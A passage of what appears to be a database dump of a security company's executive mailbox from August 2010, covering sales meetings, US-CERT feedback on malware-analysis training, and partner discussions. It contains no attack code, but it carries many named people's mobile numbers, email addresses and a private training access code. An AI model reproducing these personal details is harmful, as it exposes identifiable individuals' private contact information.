Aaron,\r\n> \r\n> I really enjoyed dinner and appreciated the technical talk, interesting nappa valley and overall discussion of our children. It was great hanging out with you after dinner.  I\'m looking forward to working together on the pilot and in other endeavors as well.   \r\n> \r\n> Brian \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n',9478,'aaron_hbgary_com/9478.html'),(9542,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007337.M575911P14101Q4398.eml','\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','Re: Discussion','We are meeting at 230.  In case we go over do you want to meet before?  Say 130?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 12:14 PM, \"Guy, Jeffrey J\"  wrote:\r\n\r\n> Yessir.  what time are you meeting with bob?  We can block out time\r\n> before/after to save the travel time.   JJ\r\n> \r\n> -----Original Message-----\r\n> From: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 12:03 PM\r\n> To: Guy, Jeffrey J\r\n> Subject: Discussion\r\n> \r\n> Hey JJ\r\n> \r\n> Any availability to meet this week?  I am meeting with Bob on thursday.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n',793,'aaron_hbgary_com/793.html'),(9543,'2010-08-03','\"Rundle, David J\" <David.J.Rundle2@boeing.com>','/aaron@hbgary.com/new/1297007337.M99802P14101Q4397.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Introduction - Boeing and HBGary Federal','\r\n\r\n\r\n\r\n\r\nThanks for getting in contact.&nbsp; Bob is coming on-site \r\ntoday to give us a WebEx with Greg Hoglund.&nbsp; (His BH appearance was a \r\nhighlight for my peers, and makes me regret not attending all the \r\nmore...)\r\n&nbsp;\r\nGiven the nature of our customers and our efforts to date, \r\nI wanted to see if you had a more DoD/IC relevant set of information that you \r\ncan discuss with us.&nbsp;&nbsp; I \r\nthink the best course of action is to see how well received today\'s presentation \r\nis with management, and then set a follow-up that\'s a little more \r\ndetailed.\r\n&nbsp;\r\nThanks,\r\nDavid J. Rundle, \r\nCISSP&reg; IS Security Engineer Cyber \r\n&amp; Information Solutions Boeing Defense, \r\nSpace &amp; Security \r\n\r\nThe Boeing Company 131 National Business Pkwy Ste \r\n100&nbsp; MC7358-0000 Annapolis Junction, MD \r\n20701-1001 \r\nTelephone: 301-497-2841 Cellular: \r\n443-534-7655 Fax: 301-497-2801 \r\ndavid.j.rundle2@boeing.com \r\n\r\n\r\n\r\n\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 12:13 PMTo: Bob \r\nSlapnikCc: Rundle, David JSubject: Re: Introduction - \r\nBoeing and HBGary Federal\r\n\r\nCatching up after Blackhat.\r\n\r\nDave would you like to schedule a time to get together?\r\n\r\nAaronSent from my iPad\r\nOn Jul 29, 2010, at 4:40 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n  \r\n  David and Aaron,\r\n  \r\n  Looks like the two of you will have mutual \r\n  interests&#8230;..\r\n  \r\n  Aaron Barr / 719-510-8478 / aaron@hbgary.com\r\n  David Rundle / 301-497-2841 / M 443-534-7655 / david.j.rundle2@boeing.com \r\n  \r\n  \r\n  Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; \r\n  HBGary, Inc.\r\n  Office 301-652-8885 x104&nbsp; | Mobile \r\n  240-481-1419\r\n  www.hbgary.com&nbsp; \r\n  |&nbsp; bob@hbgary.com\r\n  \r\n  \r\n  \r\n',14032,'aaron_hbgary_com/14032.html'),(9544,'2010-08-03','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007338.M265074P14101Q4400.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: HBGary Training Feedback','I could get out there in Sept.  Arron I&#39;ll let you know.On Tue, Aug 3, 2010 at 12:05 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n \r\nThe training we did at USCERT was not effective.  They are also getting no red and orange scores on their malware samples.  When do you think you could go back to the USCERT for 1/2 day training and working with them in the lab?\r\n\r\n\r\n \r\nMy goal is to sell them TMC and I think to do that we need to fix address the issues they pointed out and demonstrate our commitment to customers.  Not only that Byron Copeland reports to Randy Vickers and we need to impress him.\r\n\r\n\r\n \r\nMaria\r\n---------- Forwarded message ----------From: &lt;Sean.Sobieraj@us-cert.gov&gt;\r\nDate: Tue, Aug 3, 2010 at 6:06 AM\r\nSubject: HBGary Training FeedbackTo: maria@hbgary.comCc: Byron.Copeland@us-cert.gov\r\nMaria,Here&#39;s some feedback regarding the Responder Pro training:\r\n- The instructor was very knowledgeable and helpful, however there wasnot enough time to cover all the material.  What we did cover was rushedand other sections were omitted entirely.- There was no thorough review of the lab exercises.  For some we were\r\n\r\nprovided the correct answers and the rest we did not review at all.- It was not clear what level of experience was expected by thestudents.  There were many with little knowledge of malware analysis whohad a hard time following the material, and didn&#39;t understand why you\r\n\r\nwould look some places for information and what made it significant.- Students had to spend time installing programs and updates andfiguring out how to disable the AV after we determined it was corruptingthe lab files.  This took away from the time doing analysis.\r\n\r\n- The multiple choice quizzes in the lecture material were not helpful.- Although more of an admin issue, the directions to the class had usreport to a classroom in a different building that apparently had not\r\n\r\nbeen used for this training in some time.Some suggestions:- Increase the length of the course to allow sufficient time for reviewand discussion of the material.  (I heard it was changed to 3 days.)- Increase the hands-on time so the lab exercises equal or exceed the\r\n\r\nlecture time.- Step through an entire analysis, including compiling the data into areport.  A more linear approach to analysis with somewhat of a decisiontree like you mentioned might help people understand the process as it\r\n\r\nrelates to Responder Pro when first being introduced to it.- Possibly allow an opportunity to analyze malware samples provided bythe students, with the students collaborating on the analysis and usingthe techniques taught in class.\r\n\r\n- A performance evaluation at the conclusion of training.  Not multiplechoice questions, but a sample requiring analysis, with a passing gradebeing a report with the required information.As a result of the lack of review and discussion, and omitted lecture\r\n\r\nmaterial, the class was of little value and didn&#39;t not significantlycontribute to our ability to use Responder Pro for malware analysis.Unrelated to the class, an analyst here had a poor experience with\r\n\r\nHBGary&#39;s technical support.  This person never received an email or callabout the ticket (#394) until after receiving a notification that it hadbeen closed without the problem being resolved.  I believe the issue was\r\n\r\naddressed at the class.Regarding the Threat Management Center demo, how does early Septembersound?  Maybe sometime after 10am on September 7th?Thanks,Sean\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',2644,'aaron_hbgary_com/2644.html'),(9545,'2010-08-03','\"Ted Vera\" <customercare@gototraining.com>','/aaron@hbgary.com/new/1297007338.M4018P14101Q4399.eml','Aaron@HBGary.com','GoToTraining Confirmation - Basic Malware Analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\nDear Aaron,\r\nThank you for registering for \"Basic Malware Analysis\".\r\nPlease send your questions, comments and feedback to: training@hbgaryfederal.com\r\nBefore The Training\r\n\r\n        \r\n        Please review the following materials:\r\n        https://student.gototraining.com/materials/771002070549975808/1145825584459988736\r\n    \r\n        \r\nHow To Join The Training\r\n\r\n    Tuesday, August 3, 2010 1:00 PM - 2:00 PM MDT\r\n\r\n\r\n\r\n    Add to Outlook |\r\n    Add to iCal\r\n\r\n\r\n\r\n    1. Click and join at the specified time and date:\r\n    https://www1.gototraining.com/join/training/771002070549975808/107801380\r\n\r\nNote: This link should not be shared with others; it is unique to you.\r\n        2. Connect to the voice conference.\r\nTelephone: You may call in using the phone numbers below.\r\nVOIP: To use your computer\'s microphone and speakers (VOIP), you must select \"Use Mic & Speakers\" after joining the training session. A headset is recommended.\r\n\r\n        United States: +1 (916) 233-0188, access code 509-971-900\r\n        Audio PIN: Shown after joining the training\r\n    Training ID: 521-613-396\r\nSystem Requirements To Attend A Training\r\n\r\n    Windows® 7, Vista, XP, 2003 Server, 2000 or Mac OS X v10.4.11 Tiger or newer\r\n    Internet Explorer® 6.0 or newer, Mozilla® Firefox® 3.0 or newer or Safari™ 3.0 or newer (JavaScript™ and Java™ enabled)\r\n    An Internet connection, with cable modem, DSL or better recommended\r\n\r\n    \r\n    \r\n\r\n	\r\n		You are receiving this email because you registered for this training.  You can also opt-out from receiving further emails from this training\'s organizers.	\r\n\r\n\r\n    Brought to you by GoToTraining™\r\n    Online Training Made Easy™\r\n	View the GoToTraining Privacy Policy.\r\n\r\n\r\n	&copy; 1997-2010 Citrix Online, LLC. All rights reserved.\r\n\r\n\r\n    Citrix Online | 6500 Hollister Avenue | Goleta, CA 93117\r\n    1-800-263-6317 (U.S. and Canada, toll-free)\r\n\r\n    \r\n\r\n',12668,'aaron_hbgary_com/12668.html'),(9546,'2010-08-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007340.M256819P14101Q4401.eml','\"Dan Dunkel\" <dan@neweraassociates.com>,\"Dan Dunkel\" <dan@neweraassociates.com>','RE: INSA meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Dan,\r\n\r\n&nbsp;\r\n\r\nThanks for the invite.&nbsp; Yes we&#8217;ll be able to attend.&nbsp; I&#8217;m\r\ncopying Aaron Barr, the CEO of HBGary Federal as well.&nbsp; Please let us know when\r\nyou have the details.&nbsp; We would love to participate\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Dunkel\r\n[mailto:dan@neweraassociates.com] \r\nSent: Tuesday, August 03, 2010 8:23 AM\r\nTo: penny@hbgary.com\r\nSubject: INSA meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI missed you at the HB Gary booth at Black Hat, but wanted\r\nto introduce myself electronically.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am assisting the INSA (Intelligence &amp; National\r\nSecurity Alliance,&nbsp;www.insaonline.org),\r\nthe nation\'s premier intelligence industry &nbsp;group, with outreach to\r\nprivate industry and academic institutions for collaboration on security\r\nissues. An invitation only gathering is planned for September to include\r\nstrategic vendors, integrators, defense contractors, and intelligence agencies.\r\nI would like you to attend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will circle back with you on the meeting details pending\r\ncoordination of Fran Townsend, Chairwoman, and Mike McConnell, Vice President -\r\nBooz Allen, (co-hosts) schedules. Venue will be in Tyson\'s Corner.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nall the best,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndan@neweraassociates.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.NewEraAssociates.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7891,'aaron_hbgary_com/7891.html'),(9547,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007341.M47240P14101Q4402.eml','Sean.Sobieraj@us-cert.gov,Sean.Sobieraj@us-cert.gov,,','Re: HBGary Training Feedback','Hi SeanThanks for the feedback! \r\n \r\nJim Richards, Training Manager will be incorporating your ideas -- some he said are doable.... you should hear from Jim...  Support is researching the ticket and will retrace to see what happened on our end.\r\n \r\nFor additional training, Phil Wallisch said that he will call you in September and schedule time to work with you and your team in the lab.  Plus, you may repeat the class anytime, or you may send a person to audit the next 3 day class and provide feedback...  \r\n\r\n \r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30 am meeting.  I would be available if the meeting were set later in the week, but it is reallly Aaron that you need to speak with.  Aaron has an ISSA Clearance, which equates to ts/sci/g/h.  Did you want to have an NDA in place for the meeting?\r\n\r\n \r\nI will also be with Aaron at the GFIRST conference..........\r\n \r\n \r\nMaria\r\nOn Tue, Aug 3, 2010 at 6:06 AM, &lt;Sean.Sobieraj@us-cert.gov&gt; wrote:\r\nMaria,Here&#39;s some feedback regarding the Responder Pro training:- The instructor was very knowledgeable and helpful, however there was\r\nnot enough time to cover all the material.  What we did cover was rushedand other sections were omitted entirely.- There was no thorough review of the lab exercises.  For some we wereprovided the correct answers and the rest we did not review at all.\r\n- It was not clear what level of experience was expected by thestudents.  There were many with little knowledge of malware analysis whohad a hard time following the material, and didn&#39;t understand why youwould look some places for information and what made it significant.\r\n- Students had to spend time installing programs and updates andfiguring out how to disable the AV after we determined it was corruptingthe lab files.  This took away from the time doing analysis.- The multiple choice quizzes in the lecture material were not helpful.\r\n- Although more of an admin issue, the directions to the class had usreport to a classroom in a different building that apparently had notbeen used for this training in some time.Some suggestions:- Increase the length of the course to allow sufficient time for review\r\nand discussion of the material.  (I heard it was changed to 3 days.)- Increase the hands-on time so the lab exercises equal or exceed thelecture time.- Step through an entire analysis, including compiling the data into a\r\nreport.  A more linear approach to analysis with somewhat of a decisiontree like you mentioned might help people understand the process as itrelates to Responder Pro when first being introduced to it.- Possibly allow an opportunity to analyze malware samples provided by\r\nthe students, with the students collaborating on the analysis and usingthe techniques taught in class.- A performance evaluation at the conclusion of training.  Not multiplechoice questions, but a sample requiring analysis, with a passing grade\r\nbeing a report with the required information.As a result of the lack of review and discussion, and omitted lecturematerial, the class was of little value and didn&#39;t not significantlycontribute to our ability to use Responder Pro for malware analysis.\r\nUnrelated to the class, an analyst here had a poor experience withHBGary&#39;s technical support.  This person never received an email or callabout the ticket (#394) until after receiving a notification that it had\r\nbeen closed without the problem being resolved.  I believe the issue wasaddressed at the class.Regarding the Threat Management Center demo, how does early Septembersound?  Maybe sometime after 10am on September 7th?\r\nThanks,Sean-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',9882,'aaron_hbgary_com/9882.html'),(9548,'2010-08-03','\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','/aaron@hbgary.com/new/1297007342.M133980P14101Q4403.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Fidelis Discussion','Aaron,\r\n\r\nIn my (obviously biased) opinion, rule creation in Fidelis XPS is very\r\neasy. If you can transfer the knowledge, we can build the rules without\r\nmuch effort. I agree that automation can come later - but that won\'t be\r\ntoo hard either given our API into our rule creation engine.\r\n\r\nRegarding the suspicious/malicious sources, we just released our Feed\r\nManager feature with version 6.2 in July. The feed manager will accept a\r\nfeed of such sources of information. We have a partnership with\r\nCyveillance where we can accept their information from a customer with a\r\npaid subscription. We can also take feeds from any other source provided\r\nthe customer has access to it.\r\n\r\nJerry\r\n\r\n> -----Original Message-----\r\n> From: Aaron barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 03, 2010 11:58 AM\r\n> To: Mancini, Jerry\r\n> Subject: Re: Fidelis Discussion\r\n> \r\n> Hi Jerry,\r\n> \r\n> Sure.  We do a decent amount of incident response work so we have on\r\n> the ground knowledge of the threat space, and there are a default set\r\n> of rules that would be helpful to build to take some action.\r\n> Attachments with certain characteristics.  IP traffic from suspicious\r\n> or known malicious sources.  Suspicious traffic patterns or traffic\r\n> content.  This would be based on our knowledge of the threat space.  I\r\n> strongly believe eventually we can automate some of the rules\r\n> generation based on other source collection, whether that be through\r\n> HBG Active Defense or other source but we can manually generate those\r\n> to start.  We can build those rules just don\'t have the budget to do\r\nso\r\n> at the moment.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n>  wrote:\r\n> \r\n> > Hi Aaron,\r\n> >\r\n> > I\'m away on vacation this week - due back next Monday.\r\n> >\r\n> > I\'d like to know the details behind the missing rules and see what\r\nwe\r\n> > can do. When you say \"developing a set of default rules\" - can you\r\n> > elaborate?\r\n> >\r\n> > Thanks,\r\n> > Jerry\r\n> >\r\n> >> -----Original Message-----\r\n> >> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> >> Sent: Monday, August 02, 2010 2:25 PM\r\n> >> To: Mancini, Jerry\r\n> >> Subject: Fidelis Discussion\r\n> >>\r\n> >> Hi Jerry,\r\n> >>\r\n> >> Just getting back from Vegas and processing a lot of good contacts\r\n> and\r\n> >> feedback.\r\n> >>\r\n> >> Lots of general interest related to Fidelis and HBGary integration.\r\n> >> Lots of interest on Fidelis use being able to do session\r\n> > reconstruction\r\n> >> and some analysis.  But the lack of base and generated rules tend\r\nto\r\n> >> put the box right back into the strict DLP rather than the larger\r\n> >> perimeter defense category.  I had a brief conversation with Mary\r\n> out\r\n> >> there on this.  Is there any internal momentum or interest in\r\n> >> developing a set of default rules?  Our plan is to eventually work\r\n> on\r\n> >> what it might look like to generate rules using Active Defense\r\nhashs\r\n> >> but we haven\'t got their yet, just don\'t have the manpower right\r\nnow\r\n> > to\r\n> >> do it.  We know its very possible and are pitching the combined\r\n> >> capability as an offering, its just slow.\r\n> >>\r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >\r\n',13136,'aaron_hbgary_com/13136.html'),(9549,'2010-08-03','\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','/aaron@hbgary.com/new/1297007342.M510376P14101Q4404.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Discussion','1:30 works.  Are you meeting with bob at 7799 Leesburg Pike?  I\'m across\r\nthe street, but can come over -- need to interface with folks there\r\nanyway.\r\n\r\nJJ\r\n\r\n-----Original Message-----\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 12:50 PM\r\nTo: Guy, Jeffrey J\r\nSubject: Re: Discussion\r\n\r\nWe are meeting at 230.  In case we go over do you want to meet before?\r\nSay 130?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 12:14 PM, \"Guy, Jeffrey J\" \r\nwrote:\r\n\r\n> Yessir.  what time are you meeting with bob?  We can block out time\r\n> before/after to save the travel time.   JJ\r\n> \r\n> -----Original Message-----\r\n> From: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 12:03 PM\r\n> To: Guy, Jeffrey J\r\n> Subject: Discussion\r\n> \r\n> Hey JJ\r\n> \r\n> Any availability to meet this week?  I am meeting with Bob on\r\nthursday.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n',1558,'aaron_hbgary_com/1558.html'),(9550,'2010-08-03','\"Ted Vera\" <customercare@gototraining.com>','/aaron@hbgary.com/new/1297007342.M933309P14101Q4405.eml','Aaron@HBGary.com','GoToTraining Reminder - Basic Malware Analysis starts in 1 hour','\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\n\r\n\r\n	Dear Aaron,\r\n\r\n\r\n	This is a reminder that \"Basic Malware Analysis\" will begin in 1 hour on:\r\n\r\n\r\n	\r\n		\r\n									Tuesday, August 3, 2010 1:00 PM - 2:00 PM MDT\r\n	\r\n\r\n\r\n\r\n    Add to Outlook |\r\n    Add to iCal\r\n\r\n\r\nPlease send your questions, comments and feedback to: training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n	Before The Training\r\n\r\n\r\n\r\n	\r\n		Please review the following materials:\r\n		Materials Page\r\n	\r\n\r\n\r\n\r\n\r\n	How to Join the Training\r\n\r\n\r\n\r\n	1. Click and join at the specified time and date:\r\n	\r\n		https://www1.gototraining.com/join/training/771002070549975808/107801380\r\n	\r\n\r\n\r\n	Note: This link should not be shared with others; it is unique to you.\r\n        2. Connect to the voice conference.\r\nTelephone: You may call in using the phone numbers below.\r\nVOIP: To use your computer\'s microphone and speakers (VOIP), you must select \"Use Mic & Speakers\" after joining the training session. A headset is recommended.\r\n\r\n        United States: +1 (916) 233-0188, access code 509-971-900\r\n        Audio PIN: Shown after joining the training\r\n    \r\n		Training ID:             521-613-396    \r\n\r\n\r\n	System Requirements To Attend A Training\r\n	\r\n		Windows® 7, Vista, XP, 2003 Server, 2000 or Mac OS X v10.4.11 Tiger or newer\r\n		Internet Explorer® 6.0 or newer, Mozilla® Firefox® 3.0 or newer or Safari™ 3.0 or newer (JavaScript™ and Java™ enabled)\r\n		An Internet connection, with cable modem, DSL or better recommended\r\n	\r\n\r\n\r\n    \r\n    \r\n\r\n	\r\n		You are receiving this email because you registered for this training.  You can also opt-out from receiving further emails from this training\'s organizers.	\r\n\r\n\r\n    Brought to you by GoToTraining™\r\n    Online Training Made Easy™\r\n	View the GoToTraining Privacy Policy.\r\n\r\n\r\n	&copy; 1997-2010 Citrix Online, LLC. All rights reserved.\r\n\r\n\r\n    Citrix Online | 6500 Hollister Avenue | Goleta, CA 93117\r\n    1-800-263-6317 (U.S. and Canada, toll-free)\r\n\r\n    \r\n\r\n',7851,'aaron_hbgary_com/7851.html'),(9551,'2010-08-03','\"Ianuar Badawi\" <ibadawi@digitalmanagement.com>','/aaron@hbgary.com/new/1297007343.M846484P14101Q4406.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TA with HBGary for TSA ITSSS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron!\r\n\r\n&nbsp;\r\n\r\nBut I seem to be missing the electronic signature. Could you\r\nplease re-send?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nIan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 3:23 PM\r\nTo: Ianuar Badawi\r\nSubject: Re: TA with HBGary for TSA ITSSS\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIan,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee attached signed TA.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 5:52 PM, Ianuar Badawi &lt;ibadawi@digitalmanagement.com&gt;\r\nwrote:\r\n\r\nAaron:\r\n\r\nAttached is the TA for TSA ITSSS opportunity for your review. If acceptable\r\nplease sign; otherwise, you may comment using track changes.\r\n\r\nThanks,\r\nIan Badawi\r\nDigital Management, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15006,'aaron_hbgary_com/15006.html'),(9552,'2010-08-03','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297007344.M469500P14101Q4407.eml','\"Phoebe J. Boelter\" <pboelter@capsllc.net>,\"Kristen Jacobucci\" <kjacobucci@capsllc.net>','FIRST 2010 Attendee - Wrap Up Reminders','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nFIRST 2010 Attendee,\r\n\r\n&nbsp;\r\n\r\nHope\r\nyou are all well! Just a reminder &#8211; conference presentations for FIRST\r\n2010 have been uploaded to the Resource Library on the on the member&#8217;s\r\nonly side. Non-members, you have until Friday, August 6th to download the 2010\r\npresentation ZIP from the public side. If you have any trouble downloading\r\nmaterials or need the URL and login, please don&#8217;t hesitate to contact me\r\nfor assistance. If you are unsure on how to access the member&#8217;s only\r\nside, please feel free to contact the FIRST Secretariat at first-sec@first.org.&nbsp; \r\n\r\n&nbsp;\r\n\r\nSo\r\nwhat&#8217;s new?\r\n\r\nAs\r\nmany of you trudge back to the office this week from Black Hat / Defcon, we\r\noffer you the following entertainment : -)\r\n\r\n&nbsp;\r\n\r\nNew\r\nPodcast!\r\nInterview with FIRST SC Chair, Steve Adegbite &#8211; check it out at http://conference.first.org. We&#8217;ll\r\nbe posting up several podcasts over the next couple weeks to wrap up the 2010\r\nyear. Get ready for our 2011 conference series coming soon!\r\n\r\n&nbsp;\r\n\r\nFacebook\r\nFanpage. Yes,\r\nthere is fanpage for the conference! http://www.facebook.com/pages/FIRSTOrg-Annual-Conference/133713683330386?ref=ts\r\n\r\n&nbsp;\r\n\r\nThe\r\n2011 Program Committee has been announced!&nbsp; Listed in alpha order: \r\n\r\nShin\r\nAdachi | NTT-CERT\r\n\r\nJeff\r\nBoerio | Intel Corporation\r\n\r\nIan\r\nCook | Team Cymru\r\n\r\nAndrew\r\nCushman | Microsoft Corporation\r\n\r\nRalf\r\nDoerrie | Deutsche Telekom\r\n\r\nKarl\r\nHanmore | CERT Australia\r\n\r\nVafa\r\nIzadinia | Cisco Systems\r\n\r\nZane\r\nJarvis | AusCERT\r\n\r\nJose\r\nNazario | Arbor Networks\r\n\r\nJacomo\r\nPiccolini | RNP/ESR Brazil\r\n\r\nAnu\r\nPuhakainen | Ericsson\r\n\r\nDavid\r\nPybus | Diageo\r\n\r\nBernd\r\nReske | SAP\r\n\r\nUdo\r\nSchweigert | Siemens\r\n\r\nMarco\r\nThorbruegge | ENISA\r\n\r\nRonaldo\r\nVasconcellos | Representing Ronaldo Vasconcellos\r\n\r\nAdrian\r\nWiedemann | Karlsruhe Institute of Technology\r\n\r\n&nbsp;\r\n\r\nImportant\r\nDates to Remember\r\n\r\n1st\r\nSeptember 2010 &#8211; Call for Speakers Opens\r\n\r\n10th\r\nDecember 2010 &#8211; Submission Deadline\r\n\r\n1st\r\nFebruary 2011 &#8211; Notice of Acceptance\r\n\r\n3rd\r\nJune 2011 &#8211; Final Submissions Due\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou plan on submitting a presentation for FIRST 2011, please ensure that you\r\nhave your abstract AND brief bio ready for submission!&nbsp; If you have any\r\nquestions regarding the 2010 or 2011 conference, please feel free to contact us\r\nat first-2011@first.org.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCheers,\r\nTraci\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',477,'aaron_hbgary_com/477.html'),(9553,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007344.M811758P14101Q4408.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','Disney and USCERT','Penny\r\n \r\nShawn is working now with Fernando at Disney.  Fernando reviewed the End Games report.  It was not the same machines that he is evaluating from Mandiant.\r\n \r\nRight now Shawn is working with Fernando to launch Active Defense this evening to the 2 floors at Disney where he works.  Fernando agreed to include the End Report IP addresses in the POC/Pilot.\r\n \r\n=========================\r\nAaron is scheduled at the US CERT for Sept 7 to review TMC.  \r\n \r\nUS-CERT said that the malware they have is not coming up red and orange with DDNA.  I am making sure he has the latest downloads and Phil will go to the US Cert in September also.  Our\r\ndetection rate for APT at US CERT is very low but again, I don&#39;t know the last time they updated DDNA.  I want to confirm this before running to conclusions but Phil said when he was there the detection rates were low then... we need to be on top of this...  \r\n\r\nThe reason they like the TMC is because they can add their own traits.  Part of Aaron&#39;s discussion is about sharing malware so everyone benefits.....  They know Aaron&#39;s clearances so he is the right person to take the lead on resolving this issue.\r\n\r\n \r\nMaria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4572,'aaron_hbgary_com/4572.html'),(9554,'2010-08-03','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007345.M276535P14101Q4409.eml','aaron@hbgary.com,\"Matthew Steckman\" <msteckman@palantir.com>,\"Wilson, Rob\" <rob.wilson@telos.com>,\"William Luti\" <wluti@digitalmanagement.com>,\"William E. Miller\" <wmiller@digitalmanagement.com>','TSA ITSSS Kickoff - Wed, Aug 4 @ 9:30am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n 